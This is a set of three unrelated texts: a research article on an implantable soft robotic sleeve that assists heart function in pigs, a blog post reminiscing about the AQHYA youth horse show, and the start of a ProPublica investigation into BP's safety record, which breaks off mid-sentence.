-Ventricular assist devices help failing hearts function by pumping blood but require monitoring and anticoagulant therapy to prevent blood clot formation. Roche et al. created a soft robotic device with material properties similar to those of native heart tissue that sits snugly around the heart and provides ventricular assistance without ever contacting blood. The robotic sleeve uses compressed air to power artificial silicone muscles that compress and twist, mimicking the movements of the normal human heart. The authors show that the artificial muscles could be selectively activated to twist, compress, or simultaneously perform both actions on one side or both sides of the heart. The device increased cardiac ejection volume in vitro and when implanted in adult pigs during drug-induced cardiac arrest.  There is much interest in form-fitting, low-modulus, implantable devices or soft robots that can mimic or assist in complex biological functions such as the contraction of heart muscle. We present a soft robotic sleeve that is implanted around the heart and actively compresses and twists to act as a cardiac ventricular assist device. The sleeve does not contact blood, obviating the need for anticoagulation therapy or blood thinners, and reduces complications with current ventricular assist devices, such as clotting and infection. Our approach used a biologically inspired design to orient individual contracting elements or actuators in a layered helical and circumferential fashion, mimicking the orientation of the outer two muscle layers of the mammalian heart. The resulting implantable soft robot mimicked the form and function of the native heart, with a stiffness value of the same order of magnitude as that of the heart tissue. We demonstrated feasibility of this soft sleeve device for supporting heart function in a porcine model of acute heart failure. The soft robotic sleeve can be customized to patient-specific needs and may have the potential to act as a bridge to transplant for patients with heart failure.  Here, we used soft robotic techniques to develop a tethered implantable sleeve that can provide circulatory support for patients with compromised heart function. The soft robotic sleeve we describe took inspiration from native heart muscle and was designed to augment cardiac function by closely replicating it, instead of disrupting it. Preceding work from our group described the use of soft robotic techniques to replicate the heart’s motion ( 1 ), and here, we present ex vivo and in vivo results in a pig model that builds on this technology to augment heart function.  Although the design improvements implemented with each generation of VADs have helped to reduce prothrombotic components, contact between blood and artificial surfaces remains, necessitating long-term blood-thinning medications for patients with VADs. Despite anticoagulation treatment, the risk of thromboembolic events including stroke may occur in up to 20% of patients ( 19 ). As outlined in previous work ( 20 – 22 ), most external devices invert the normal curvature of the heart and act contrary to the remaining native cardiac contraction mechanics, predisposing these devices to reduced biomimicry and efficiency and highlighting an important shortcoming of existing technologies. As a result, many of these devices do not integrate and synchronize with native cardiac contraction mechanics and direction, and some cannot assist the diastolic (filling) phase of the cardiac cycle.  Heart failure is the inability of the heart to pump sufficient blood to the body, leading to disability or death. Heart failure afflicts 41 million people worldwide including more than 5 million people in the United States ( 15 ), costing the nation an estimated $32 billion each year ( 16 ). Currently, patients with end-stage heart failure refractory to medical treatment alone are often considered for heart transplantation. However, donor organ availability is limited, and many patients die awaiting transplantation. To mechanically assist the failing heart, ventricular assist devices (VADs) are used as a life-prolonging therapy, either as a bridge to transplant or, in some cases, as a “destination therapy,” meaning the device remains implanted for the rest of the patient’s life. Using current VADs, the heart and one or both of the great vessels are cannulated, blood is removed from the heart, and blood is then pumped into the aorta or pulmonary artery. In this scenario, the VAD assumes the function of one or both of the failing ventricles of the heart. The first generation of VADs used a pulsatile pump and valve technology. The second generation of VADs is largely based on a continuous, valveless, axial-flow technology ( 17 , 18 ), and the third generation uses continuous-flow pumps that use magnetic levitation technology and contactless bearings ( 18 ).  Traditionally, robots have been used in situations where they do not interact closely with humans—the classical example being assembly lines where metal cages protect factory workers from rigid robots that are capable of applying very high forces. However, the field is being transformed by a new wave of soft robots that are constructed using a combination of elastomers, fibers, and other filler materials. This approach provides opportunities to create robots that are well suited for intimate interactions with humans and with tunable material properties to match biological tissues. Furthermore, through a combination of elegant design and simple control, these soft robots can be programmed to achieve complex motion mimicking the motions of tissues in the human body ( 1 – 3 ) using specifically designed contractile elements or actuators ( 4 – 13 ). Previously, the benefit of this approach was shown with extracorporeal robots ( 2 , 10 , 14 ); however, an exciting opportunity also exists to create implantable soft robotic structures to restore physiological function to, for example, the failing heart.  Although the device is currently tethered to mainline-compressed air supply, the soft robotic sleeve could be used under a greater range of clinical conditions if it was portable. We therefore compared the effects of mains and portable pump power on aortic flow rates in a porcine model under baseline conditions and saw that there was no difference between the two sources (fig. S10, A and B). A schematic of a portable soft robotic sleeve system is shown in fig. S10C, with portable pump and compressed air supplies worn on a belt or backpack, as for current VADs. The cardiac output with the passive device worn on the heart is similar before and after activation (fig. S10, D and E), indicating that the device could be turned off when cardiac assistance is not required. With the active device, femoral pressures were increased in line with aortic pressures (fig. S10F).  To quantify the effect of the soft robotic sleeve on diastolic function of the heart, we used tissue Doppler echocardiography imaging. The ratio between early mitral inflow velocity and mitral annular early diastolic velocity (E/e′) is a validated method for quantifying diastolic function in clinical practice ( 34 ). Five measurements were taken with device actuation either in a healthy porcine heart or in a failing porcine heart in vivo using the circumferential actuators, twisting actuators, or both. In the healthy heart, the E/e′ ratio was negatively affected by the circumferential actuators but not by the twisting actuators ( Fig. 7E ). In the failing heart, the contribution of the twisting actuators in restoring the ratio to baseline was greater than that of the circumferential actuators ( Fig. 7E ).  ( A ) Photographic images of the soft robotic sleeve being used as a cardiac assist device on a porcine heart in vivo. ( B and C ) Aortic flow of one representative animal under the following conditions: baseline, acute heart failure, and ventricular assist conditions (twisting and circumferential actuators). Three to four representative cycles are shown for each condition. Cardiac output for each condition (n = 6 animals). Data are means of 10 cardiac cycles + SD; one-way ANOVA with Tukey’s post hoc multiple-comparison test. ( D ) Representative 3D echocardiography (3D echo) image showing left ventricular twist. Five measurements were taken in each condition on one pig. Quantification of left ventricular twist as assessed from 3D echo showing means ± SD; one-way ANOVA with Tukey’s post hoc multiple-comparison test. ( E ) Representative 3D echo image showing measurements for the diastolic filling ratio E/e′ calculation. Five measurements were taken in each condition on one pig. Bar graph shows diastolic filling ratio E/e′ (means ± SD). Two-way ANOVA for interaction effect. Interaction, P < 0.0001; heart failure, P < 0.0001; actuation pattern, P = 0.0003.  Cardiac assist to the failing heart was demonstrated in six porcine experiments in vivo ( Fig. 7A ). Acute heart failure was induced in a porcine model by infusing esmolol, a short-acting cardioselective β-blocker that reduced contractility and cardiac output in a dose-dependent fashion, allowing a reproducible induction of heart failure when infused in doses exceeding its therapeutic dose. ECG, blood pressure, and blood flow were recorded after cardiac output had stabilized. Figure 7B shows the results from a representative trial, including the aortic flow rates under three conditions: baseline, acute heart failure, and ventricular assist (three representative cycles for each condition in one animal are shown). Figure 7C shows the average cardiac output for 10 consecutive cycles for each condition in six animals. The cardiac output was reduced to ~45% of baseline when acute heart failure was induced but recovered to ~97% of baseline when active assist was initiated, constituting an augmentation of 113%. The degree of left ventricular twist was quantified in one animal by 3D echocardiography ( Fig. 7D ) by taking five measurements of twist. The twist decreased in the heart failure condition, but when the device was turned on, the twist was increased to baseline levels (P = 0.0019) ( Fig. 7D ).  In anticipation of future chronic device implantation and actuation studies, we developed a hydrogel to use as a protective layer at the device-tissue interface to reduce friction and minimize inflammation when the device is moving over the heart. The hybrid alginate polyacrylamide hydrogel “tough gel” that we used for this purpose was synthesized in a large sheet as previously described ( 32 ) and has been shown to be nontoxic and biocompatible ( 33 ). We evaluated the chronic inflammatory effect of the hydrogel material on the epicardial surface of rat hearts implanted with the device for 14 days ( Fig. 6C ). The hydrogel elicited less of an inflammatory response compared to a control polymer ( Fig. 6 , D and E), although this reduction was not statistically significant (P = 0.1). Finally, we demonstrated in an in vivo porcine model that we could place and actuate the device using the hydrogel at the device-tissue interface ( Fig. 6 , F and G). The gel did not negatively affect device function (fig. S9B).  ( A ) Timeline for an acute porcine in vivo study to assess inflammation when the device alone was implanted in contact with the pig heart and actuated for ~2 hours. ( B ) Hematoxylin and eosin (H&E)–stained paraffin-embedded sections of portions of the RV, LV, and left atrium (LA) (control). These are representative images of four sections taken from one animal. Epi, epicardium. Scale bars, 125 μm. ( C ) Timeline for a chronic in vivo rodent study where a hydrogel alone or a urethane polymer (control) was implanted. ( D ) Representative image of H&E-stained paraffin-embedded sections of in vivo rodent heart with hydrogel at 2 weeks after implantation. ( E ) Quantification of the degree of inflammation from the control and hydrogel group. 1, no inflammation; 2, mild inflammation; 3, moderate inflammation; 4, severe inflammation. Ratings are 3 for control (n = 3) and 1 and 2 for hydrogel (n = 2). Data are median with range; a Mann-Whitney test was used for comparison (not significant, P = 0.1). ( F and G ) In vivo demonstration of the use of the hydrogel as an intermediate layer at the device-tissue interface in a porcine model (representative of n = 2 pigs). The device (white) is placed over the hydrogel in the image on the right.  To further characterize the effect of device actuation at the device-tissue interface, we conducted histological studies after implanting the device in pigs and rodents in vivo ( Fig. 6 ). Sections of the heart wall were examined after 2 hours of device actuation on an acutely failing heart in the porcine model ( Fig. 6A ). Sections of the left ventricle, right ventricle, and left atrium showed pronounced infiltration by neutrophils, which was confined to the epicardium, as would be expected after removal of the pericardial fluid and exposure of the heart during surgery ( Fig. 6B ). The myocardium and endocardium in these areas showed no inflammatory infiltrate or evidence of myocardial injury. There was no epicardial fibrosis or fibrinous exudate, and the coronary arteries appeared normal. On the basis of qualitative assessment, the immune cell infiltrate was no greater in the left ventricle and right ventricle than in the left atrium (the control nonactuated part of the heart), demonstrating that the infiltrate was not attributable to acute device actuation on the heart (fig. S9A). Histological assessment of the apex of the heart, where a U.S. Food and Drug Administration–approved suction device was used for attachment, showed exuberant inflammation through the wall of the heart (see “apex” image in fig. S9A), motivating the exploration of alternative attachment methods for long-term use of the device.  ( A ) Aortic flow and cardiac output for design 1 at a maximum operating pressure of 10 psi at 80 bpm for a period of 200 ms per cycle. Three to four representative cycles are shown for aortic flow; data are means of 10 cardiac cycles + SD for cardiac output. ***P < 0.001, one-way analysis of variance (ANOVA) with Tukey’s post hoc test. ( B ) Aortic flow and cardiac output for design 2 at a maximum operating pressure of 21 psi at 80 bpm for a period of 200 ms per cycle. Three to four representative cycles are shown for aortic flow; data are means of 10 cardiac cycles + SD for cardiac output. ***P < 0.001, one-way ANOVA with Tukey’s post hoc test. ( C ) In vivo demonstration of control capabilities for actuation modes described in Fig. 4 (G and H): actuation of twisting (T) only, circumferential (C) only, and both together (C+T) (design 1). Data are means of 10 cardiac cycles + SD. ***P < 0.001, one-way ANOVA with Tukey’s post hoc test. ( D and E ) Aortic (or LV) and pulmonary [or right ventricle (RV)] flow and cardiac output when the left or right side of the device is actuated, respectively (design 1). Aortic or pulmonary flow shows three representative cycles; data are means of 10 cardiac cycles + SD for cardiac output. ***P < 0.001, for the right side actuated; P = 0.1326, using unpaired t test. Each panel shows representative graph from n = 2 animals.  Although the envisaged use of the device is for augmenting function of the failing heart, we isolated the hemodynamic effect of the device by actuating it on an acutely arrested pig heart, directly after cardiac arrest. A fully heparinized porcine preclinical model was used (female, 60 to 75 kg; n = 2 pigs). The device was used to temporarily reestablish cardiac output after drug-induced cardiac arrest. Data were collected for at least 15 min for baseline, asystole, and ventricular assist conditions. Ten representative cycles of aortic flow from each condition were converted to cardiac output per cycle and averaged. Design 1 could achieve ~48% restoration of cardiac output when actuated at its maximum operating pressure of 10 psi at 80 beats per minute (bpm) for a period of 200 ms per cycle ( Fig. 5A ). Design 2 could achieve ~88% restoration of cardiac output when actuated at its maximum operating pressure of 21 psi at 80 bpm for a period of 200 ms per cycle ( Fig. 5B ). Representative cycles for baseline function for a healthy adult pig, cardiac asystole, and restoration using ventricular assist are shown in Fig. 5 (A and B), and the average values from 10 representative consecutive cycles are shown in the bar graphs. Movie S3 shows the echocardiographic data from two acutely arrested hearts with the device being active (device on) and passive (device off). The combination of twisting and circumferential actuation resulted in higher aortic flow rates, and thus higher cardiac output, than the independent actuation of either circumferential or twisting elements (P < 0.001) ( Fig. 5C ). Additionally, we compared the aortic flow from the left ventricle and pulmonary flow from the right ventricle while selectively actuating the left side or the right side of the device ( Fig. 5 , D and E), demonstrating the ability to customize assistance to a specific pathology and actuating one ventricle more than the other.  ( A ) Illustration of setup in the operating room using epicardial pacing. The user interface allows the user to enter the control scheme and control which actuators are active at which time and at what pressure. It also displays the data from the DAQ (ECG, blood pressure, and flow data). If necessary, a pacemaker (pacer) is used to pace the heart epicardially and to trigger the DAQ. A flow meter with ultrasonic probes records flow. Pneumatic lines exit the control box and are connected to each of the actuators in the device, providing air supply from the source through the regulator and valves to the actuators. A PowerLab data acquisition system was used for data collection for later trials. Circumferential ( B ) and twisting ( C ) actuators on a porcine heart. ( D ) Aortic flow when actuated at 5 and 10 psi (design 1). ( E ) Aortic flow when all actuators are simultaneously actuated or sequentially actuated [as described in (F)] (design 1). ( F ) Illustration of example control strategy: sequential actuation of circumferential actuators, starting at the apex. ( G ) Illustration of example control strategy: actuation of twisting (T) only, circumferential (C) only, and both together (C+T). ( H ) Aortic flow rate for twisting, circumferential, and combined actuations (design 2), representative from two trials on n = 2 cadaver pigs.  As a first-pass evaluation of control schemes and device positioning for each design, we tested the devices using a fully heparinized porcine model (n = 2). Pigs (female adult Yorkshire swine, 60 to 75 kg) were euthanized with sodium pentobarbital before device placement on the heart within the thoracic cavity. We devised a control and data acquisition setup in the operating room to enable recording of aortic blood flow, blood pressure, and ECG and triggering of the device by ECG or pacemaker signal (see Fig. 4A and “In vivo testing” in the Supplementary Materials). A sternotomy was used to open the chest, and the device under evaluation was placed around the heart in the thoracic cavity ( Fig. 4 , B and C). The ejection output was increased by increasing the actuation pressure (design 1; Fig. 4D ). A slightly different waveform for aortic flow could be acquired by varying the actuation pattern (design 1; Fig. 4 , E and F, and movie S1). The combined actuation of the circumferential and twisting actuators increased aortic flow more than did either set independently (design 2; Fig. 4 , G and H).  ( A ) The in vitro test setup. A silicone model was mounted onto a test rig, with a latex outflow tube marked with gradations to measure volumetric output. An interventricular pressure transducer measured pressure inside the ventricle. An ultrasonic flow probe was placed on the outflow tube. The model can be exchanged for a univentricular or biventricular model with one or two outflow tubes, respectively. The model was filled with colored water for visualization. ( B ) Models depicting actuation schemes (top) and corresponding images of univentricular volumetric displacements (bottom) measured using circumferential (C) actuators, twisting (T) actuators, twisting and circumferential (C+T) actuators, circumferential actuators inside (T external), and circumferential actuators outside (C external). C, T, and C+T used design 1; T external and C external used design 2. ( C ) Testing with a biventricular model to demonstrate the effect of increasing pressure on output as measured by volume displacement in the test rig setup. ( D ) The effect of selectively actuating left ventricle (LV) or right ventricle (RV) actuators as measured by volume displacement in a biventricular model. Left and right refer to the anatomical left and right of the model, respectively. When the LV actuators were active, there was more output from the left side, and vice versa. Data are means ± SD of n = 3; ***P < 0.001, t test.  To evaluate the performance of design iterations on a bench-top model in vitro, we fabricated a simplified synthetic heart with one or two ventricles from silicone ( Fig. 3A and movie S2). Figure 3 (B to D) shows the results of the in vitro testing. Using a univentricular heart model, volumetric displacements of 38, 22, and 50 ml were achieved for design 1 when the circumferential, twisting, or both layers were actuated, respectively ( Fig. 3B ). We used design 2 to characterize the effect of externally placing the circumferential or twisting actuator layer with respect to the other actuator layer, that is, whether there was a difference in volumetric displacement dependent on which layer was in close approximation to the model heart. A volumetric displacement of 68 ml was achieved when the twisting actuator layer was placed externally, and 84 ml was displaced when the circumferential actuator layer was placed externally ( Fig. 3B ) using the univentricular model. As expected, the output increased with pressure ( Fig. 3C and movie S2) for design 1 in the univentricular model. In a biventricular model with design 1, higher ejection output was achieved on the left or right side by selectively actuating the circumferential PAMs on the desired side ( Fig. 3D and movie S2).  ( A ) Overview of system with user interface, data acquisition (DAQ) card, electropneumatic control unit, and pacemaker for pacing the heart where necessary. ( B ) Example actuation scheme with trigger from the R peak (red circle) of an ECG trace, and sequential actuation and relaxation from the apex to the base. Time points T1 to T6 can be input by the user by modifying time delays between trigger and valve opening, time between valve opening, and duration of valve opening. Blue color indicates pressurized PAMs (actuation). ( C ) Example actuation scheme triggered from the start of increase of aortic flow (red dot). The twisting actuators are actuated first and then the circumferential. Time points T1 to T5 can be modified by the user from interface. A blue actuator indicates that it is pressurized (on).  One of the main advantages of using soft robotics for cardiac compression is the ability to implement timing schemes to optimize the actuation sequence. A custom control and instrumentation system ( Fig. 2A ) was developed to program the soft robotic sleeve and to simultaneously monitor and record physiological performance parameters such as heart rate and pulmonary artery and ascending aortic pressure and flow rate. The control system was designed to synchronize with the native cardiac cycle and fine-tune force generation and timing to deliver disease-specific assistance. Two examples of control schemes are depicted in Fig. 2 (B and C), illustrating the triggering of actuation from electrical or hemodynamic parameters of the native cardiac cycle. In Fig. 2B , actuation was triggered from the peak of the QRS complex (R wave) of the electrocardiogram (ECG) trace, and actuators were sequentially pressurized from the apex to the base of the device before sequentially applying vacuum. The time between actuation of individual modules (T1 to T7) could be controlled to allow optimal synchronization with the native cardiac cycle. To allow device triggering before the QRS complex, T1 could also be negative. In Fig. 2C , actuation was triggered from the point of increasing flow rate in the aorta. Any combination of actuators could be pressurized alone, simultaneously, or according to a user-controlled sequence. For example, twisting actuators were pressurized before sequentially pressurizing circumferential actuators ( Fig. 2C ). Times (T1 to T5) could be controlled from the user interface. Alternatively, circumferential or twisting actuators could be selectively or simultaneously actuated. Right-sided or left-sided actuators could be activated alone or together at the same or different pressures.  Device conformability was determined using computed tomography imaging after wrapping the device around an ex vivo porcine heart filled with saline ( Fig. 1E ). Sections of the heart demonstrated excellent apposition of the actuators to the epicardial surface ( Fig. 1E ). A custom-designed flexible sensing sleeve containing an array of pressure sensors colocated with the PAMs could be placed between the epicardium and the device to measure the mechanical interaction between the soft robotic sleeve and heart surface (figs. S5 to S7) ( 31 ). Ex vivo adhesion testing identified a method combining mesh and chemical fixation at the base of the heart capable of adhering the device to the heart tissue (fig. S8). Dynamic conformity was observed visually and with echocardiography (movie S1).  Two generations of fabrication processes are illustrated in Fig. 1 (C and D), with detailed descriptions in the Supplementary Materials. Briefly, for design 1, a silicone casting process was used to fabricate individual actuators (figs. S1 and S2) and to embed these actuators ( Fig. 1C ) into a matrix in two separate layers that could be combined, resulting in a device with an overall thickness of 16 mm. Design 2, the final design ( Fig. 1D ), used a thermoforming process to make the actuators (fig. S3) and combined them into a 2D laminate by selective bonding between thin silicone sheets in a predefined pattern, incorporating circumferentially and helically oriented actuators (referred to as twisting actuators from here on). The resulting device was a thin, flat silicone sleeve about 550 μm thick at the bonded spots between actuators that could be wrapped around the heart and adjusted depending on the size of the heart and the pretensioning required, so that the device could conform to the heart without being overly tight and limiting ventricular filling ( 30 ). A comparison of the actuator types used in design 1 and design 2 is described in fig. S4 (A to D). Like native heart muscle, the properties of the PAMs are dynamic. The actuators stiffen when pressurized in the systolic phase of the cardiac cycle (fig. S4, E and F). The values for their tensile and compressive moduli when pressurized lie within the ranges of those described for myocardial tissue in the systolic phase (fig. S4, G and H).  ( A ) The muscle fiber orientations of the outer two layers of the myocardium of the heart inspired the design of the VAD. ( B ) Individual active layers composed of fluidic actuator contractile elements arranged and embedded in soft matrices can compress and decompress, twist and untwist, or simultaneously perform both actions. ( C ) Design 1 was fabricated using a silicone-casting process (shown on the left) to create a bilayer cup-shaped device. Three layers are shown: a circumferential (circ.) layer, a twisting layer, and a combination of circumferential and twisting layers. t, thickness of layer; t total , total thickness of device. ( D ) Design 2 was fabricated by a selective bonding process using a 3D-printed alignment fixture, resulting in a flat monolayer device that can be wrapped around the heart. ( E ) Representative computed tomography images of the posterior view of the heart and transverse (1 and 2) and longitudinal sections (3 and 4) showing both layers of actuators conforming to the heart (design 2).  In the heart, complex motion is achieved through the functional arrangement of multiple linear contractile elements oriented spatially in a soft matrix and actuated synergistically. The muscle layers of the heart are arranged in helical and circumferential patterns ( 23 – 26 ) and simultaneously undergo twisting and compressive motions. The architecture of the native heart was the inspiration for our device, which comprises a fully conformable sleeve with two biomimetic layers of contractile elements embedded in an elastomeric matrix with mechanical properties similar to those of cardiac tissue. Inspired by our previous work on a three-dimensional (3D) structure designed to replicate ventricular twist ( 1 ), we used a multilayer design to simulate the two outer layers of the myocardial fibers of the heart ( Fig. 1 , A and B). To create 3D and conformal devices that could be tested in animal models, we exploited fabrication techniques that allowed the integration of custom-designed soft pneumatic artificial muscles (PAMs) into a soft matrix that approximated and conformed to the outer surface of the heart. The PAMs’ self-limiting load-length curves ( 27 – 29 ) provide a physiological, atraumatic strategy to assist and increase native cardiac muscle function. We oriented these PAMs in helical and circumferential patterns, similar to the outer two layers of the myocardial fibers of the heart, to replicate cardiac motion while providing synchronized mechanical assistance.  DISCUSSION  Here, we introduced a soft robotic sleeve and demonstrated in vivo recovery of cardiac output from a failing heart in a pig model of acute heart failure. About 5.7 million Americans have heart failure (35), about half of whom have heart failure with reduced ejection fraction; 5% of this subgroup (~142,500) are in functional New York Heart Association class IV heart failure (35). Because there are only about 2100 donor hearts transplanted annually (36), there is a clear need for mechanical circulatory support to extend patients’ lives. The work described here demonstrated the efficacy of an implantable soft robotic sleeve in assisting the heart, with biomimetic motion and materials that have properties similar to cardiac muscle. This approach would not have been possible with traditional rigid robotic components or with soft materials alone but is possible by leveraging soft robotic technologies to allow programming of customized, conformable materials to dynamically change their stiffness in synchrony with native tissue. Unlike VADs currently in clinical use (37), our device restored circulatory function without contacting blood. The soft robotic sleeve, if translated to the clinic, could potentially obviate the need for anticoagulation therapy among patients receiving mechanical circulatory support, thus reducing the risk of complications from clotting, simplifying treatment, and reducing costs. Currently, warfarin, a commonly used blood-thinning medication, requires monitoring of clotting tendency.  Although external cardiac assist devices have been previously explored, many have imposed nonphysiological motions that have failed to mimic the natural motion of the heart, either uniformly squeezing the heart from the outside or using twisting alone to achieve circumferential and longitudinal shortening of the ventricle (21, 22, 38–41). Those devices that twist (38–41) have not been used preclinically (39), report low ejection fractions (40), or twist without compressing (41). Here, we applied soft manufacturing techniques to make a biomimetic device where actuators could be actuated independently at predefined times and pressures to produce efficient cardiac assistance in synchrony with the failing heart’s own inherent, though diminished, motion. Ecoflex 00-30 silicone was selected as the matrix for fabrication of the soft actuated material because it can generate large strains and because its elastic modulus (125 kPa) (14) is within the range of reported values for passive myocardial tissue (42). Because the PAMs change dynamically, the mechanical properties of the pressurized PAMs (modulus of ~560 kPa) are within the ranges of those described for myocardium in the systolic phase (43–46). These dynamic material properties are an inherent advantage of our approach because the soft sleeve can mimic the dynamically changing mechanical properties of the native tissue throughout the cardiac cycle. Through this approach, the actuators could restore cardiac function along the force vectors of the native heart muscle. We achieved independent or simultaneous compression and twisting as desired through the specific arrangement of the contractile elements and their selective actuation. When pressure was applied to the PAMs, they contracted, and when vacuum was applied, they extended, enabling opposing motions of relaxation (filling) and untwisting. This characteristic of the PAM is critical to providing active device assistance during cardiac diastole, which is an active, energy-dependent biologic process.  Chronic heart failure is characterized by the aberrant motion and remodeling of the failing heart. Growth and repair processes of the heart are guided by mechanical stimuli (47, 48). Remodeling can result in increased ventricle size with dilated, thinned walls. Passive restraint devices and strategies to reduce ventricular size or increase wall thickness have been shown to attenuate or reverse adverse remodeling (49–51). Our device could potentially be turned off when no longer required, and clinicians could tailor the device as a passive restraint device, partial support, or full support. Thus, the device provides a versatile platform to manipulate the mechanical environment of the heart to target cardiac rehabilitation or recovery. Furthermore, the addition of twisting actuators assisted with the overall function of the heart and contributed to untwisting as well as twisting, which has the potential to assist with diastolic function.  The modularity of the sleeve allows univentricular or biventricular assistance and customization to the needs of the patient. In terms of safety, mechanisms for detecting any leakage or failure of the actuators can be added into the control system, and an individual actuator could be immediately shut off if necessary. The modularity of the design, coupled with the low profile of the passive actuators, allows redundancy (or excess actuators) to be designed in. If one of the actuators fails, and gets deactivated, another “backup” actuator, previously inactive, can take over its function.  The current version of the device is a tethered implantable system and uses wall-compressed air supply for actuation. Further development will need to miniaturize the entire system, so it can be implanted in the body or have the pump and system controller be worn around the waist of the patient, similar to other devices (18, 52, 53). If a fluidic tether is required to connect an external pump to the soft robotic sleeve, a parallel line could serve as an additional conduit for the delivery of therapeutic agents. Such approach could enable the exciting concept of mechanical biological combination therapy, incorporating reservoirs into the soft robotic sleeve for sustained delivery of small molecules, proteins, or cellular products to promote regeneration or for on-demand antiarrhythmic agents.  Although this study demonstrated proof of concept for this approach, we acknowledge that there are a number of limitations and that further work is required to advance this technology along the translational path. First, the data are from a small number of animals, because the primary goal of the study was to establish feasibility. Second, the studies were acute and therefore not representative of the remodeling or humoral changes that take place during chronic heart failure. Longer-term implantation studies in animals with chronic heart failure will be required to study the long-term effects of this kind of therapy in vivo including remodeling of the heart and long-term perfusion of end organs by measuring parameters such as lactic acidosis. Third, the biocompatibility of all of the materials should be tested and substituted with appropriate materials if necessary. Fourth, the long-term mechanical properties of the hydrogel interface and the effect of the hydrogel on the long-term efficacy of the device were not investigated. Last, the development of a bioadhesive or biointegrating component will be crucial. Here, we used a combination of mechanical, chemical, and suction strategies for acute device attachment. These approaches would not be adequate for long-term implantation. Ongoing efforts should focus on developing more practical alternatives.  In conclusion, we have demonstrated that a biomimetic soft robotic device, whose material properties and architecture mimic that of the native heart, can support cardiac output in an acutely failing pig heart. By addressing a pressing clinical problem with the application of soft robotic technologies for support of cardiac function, we present an active sleeve that is customizable to patient-specific needs and has a potential to bridge a heart failure patient to transplant or to aid in cardiac rehabilitation and recovery.
-Two weeks ago 35 world champions were named. There were tears of joy, tears of disappointment, trainers & parents cheering their hearts out from the stands, and hugs in the middle of the arena before they announced the world champion. The AQHYA World Show can be a defining moment for many kids in the horse world and this past year was no exception.  The Built Ford Tough American Quarter Horse Youth Association World Championship Show is the pinnacle event for American Quarter Horse exhibitors, ages 18 and under, around the world, who must qualify for the event by earning a predetermined number of points to compete in each of the classes representing halter, english and western disciplines.  The AQHYA world show is fueled by the blood, sweat, and tears of youth from around the world, hard working trainers, and the parents that support this life changing, fast paced lifestyle that is showing American Quarter Horses.  Once the process of earning enough points to qualify for the show is done; that is when the real preparation begins. For the youth who show horses it’s all about being the last one standing in the coveted Jim Norick Arena in Oklahoma City, Oklahoma (for us has-beens it could be Fort Worth or Tulsa 😉  Parents and their kids spend all year traveling across the country to earn enough points to qualify for the world show. Then spend the summer days traveling to horse shows and their trainer’s houses for “riding boot camps.” All of the efforts these kids make from September to the Next August when the next world show is held, shape the results.  While most sports are based on your personal condition and did you work hard enough, did you train your body enough. When it comes to showing horses not only do you have to work on your riding, you have to prepare a thousand plus pound animal to be in sync with you. For riders to be successful the bond between horse and rider has to be one that can’t be broken. Any has-been youth that has had success will tell you that you have to learn your horses moods and know when and how far you can push them. They will also tell you that once a bond between horse and rider is created….the results are amazing.  Another important element of competing at the AQHYA World Show is the team you have around you. Supportive parents & horse trainers that have been with you every step of the way; pushing both you and your horse to be the best you can be.  At the horse shows there is events all daylong; so the arena’s that the competitors show in are unavailable for practice. This means middle of the night ridding sessions.  Long days and short nights of sleep…that is the name of the game at the AQHYA world show. This is not a sport for lazy workers and there is also more to it than winning world championships.  For the girls, this sport has the potential to earn them a division one athletic scholarship. Consider the amount of money these families put into the sport to compete. The potential to have a college scholarship is an amazing opportunity.  The harsh reality however for the Youth who have spent most of their adolescent career competing around the world is that once the dust settles at your last youth world, you would give just about anything to go back and spend those long hours at the barn.  So we have the brutally honest confessions of the has-beens….  We all yelled at our parents at the stalls…….truth is they were forking out the dough just so we MIGHT have the chance to make the finals. As has-beens we don’t know anyone at the horse shows since we went off to college…..and the new “Youth” have NO IDEA who we are. Don’t take for granted those 3am rides drilling the same pattern over and over again…we would gladly swap places with you. All of your friends back home think we are just at another “race.” And at this point we have all given up trying to explain we DON’T actually race our horses! Best way to get over a bad ride…..a cinnamon roll from the sweet shop. Every has-been has a story from when we got “screwed by the judges” and didn’t get in the finals. It’s a broken record but we have all been there. Use the WHOLE ARENA for your victory lap. Or we will be judging heavily from the stands. Also if you could shed a few tears that would be good to 😉 Competing at the youth world was our glory days.  So whether this is your first youth world or you are going back to visit four years later…these are memories and friends you will have forever and once it’s over you can’t go back. So make it count and ENJOY every minute.  Advertisements
-Update, July 2, 2015: The oil giant BP has agreed to pay nearly $19 billion to settle civil cases brought against it by states and the federal government following its role in the 2010 oil spill in the Gulf of Mexico, the worst environmental disaster in U.S. history.  The settlement largely puts the legal ordeal of Gulf spill behind the oil company, which has also sought to slim and refocus its operations over the last five years. But its too early to tell whether the company has fundamentally changed its approach to safety. As ProPublica detailed in 2010, BP had faced one disaster after another from the 1990s up until the Deepwater Horizon, many deadly, and often spaced just a few years apart.  Our original investigation was co-produced with PBS "Frontline." Watch the "Frontline" documentary, “The Spill,” drawn from this reporting.  Original story, published Oct. 26, 2010:  Jeanne Pascal turned on her TV April 21 to see a towering spindle of black smoke slithering into the sky from an oil platform on the oceanic expanse of the Gulf of Mexico. For hours she sat, transfixed on an overstuffed couch in her Seattle home, her feelings shifting from shock to anger.  Pascal, a career Environmental Protection Agency attorney only seven weeks into her retirement, knew as much as anyone in the federal government about BP, the company that owned the well. She understood in an instant what it would take others months to grasp: In BP’s 15-year quest to compete with the world’s biggest oil companies, its managers had become deaf to risk and systematically gambled with safety at hundreds of facilities and with thousands of employees’ lives.  “God, they just don’t learn,” she remembers thinking.  Just weeks before the explosion, President Obama had announced a historic expansion of deep-water drilling in the Gulf, where BP held the majority of the drilling leases. The administration considered the environmental record of drilling companies in the Gulf to be excellent. It didn’t ask questions about BP, and it didn’t consider that the company’s long record of safety violations and environmental accidents might be important, according to Carol Browner, the White House environmental adviser.  They could have asked Jeanne Pascal.  Jeanne Pascal was a senior attorney for the Environmental Protection Agency for 26 years. (Abrahm Lustgarten/ProPublica)  For 12 years, Pascal had wrestled with whether BP’s pattern of misconduct should disqualify it from receiving billions of dollars in government contracts and other benefits. Federal law empowers government officials to “debar”—ban from government business—companies that commit fraud or break the law too many times. Pascal was a senior EPA debarment attorney for the Northwest, and her job was to act as a sort of behind-the-scenes babysitter for companies facing debarment. She worked with their top management, reviewed records and made sure they were good corporate citizens entitled to government contracts.  At first, Pascal thought BP would be another routine assignment. Over the years she’d persuaded hundreds of troubled energy, mining and waste-disposal companies to quickly change their behavior. But BP was in its own league. On her watch she would see BP charged with four federal crimes—more than any other oil company in her experience—and demonstrate what she described as a pattern of disregard for regulations and for the EPA. By late 2009 she was warning the government and BP executives themselves that the company’s approach to safety and environmental issues made another disaster likely.  A close look by ProPublica and PBS FRONTLINE at BP’s explosive growth corroborated and expanded on Pascal’s 